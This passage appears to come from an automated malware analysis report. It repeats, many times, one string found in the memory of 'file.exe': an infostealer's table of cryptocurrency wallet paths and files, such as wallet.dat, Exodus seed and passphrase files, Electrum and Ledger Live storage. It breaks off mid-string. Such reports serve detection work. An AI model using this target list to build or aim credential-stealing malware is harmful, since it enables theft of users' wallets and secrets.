Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 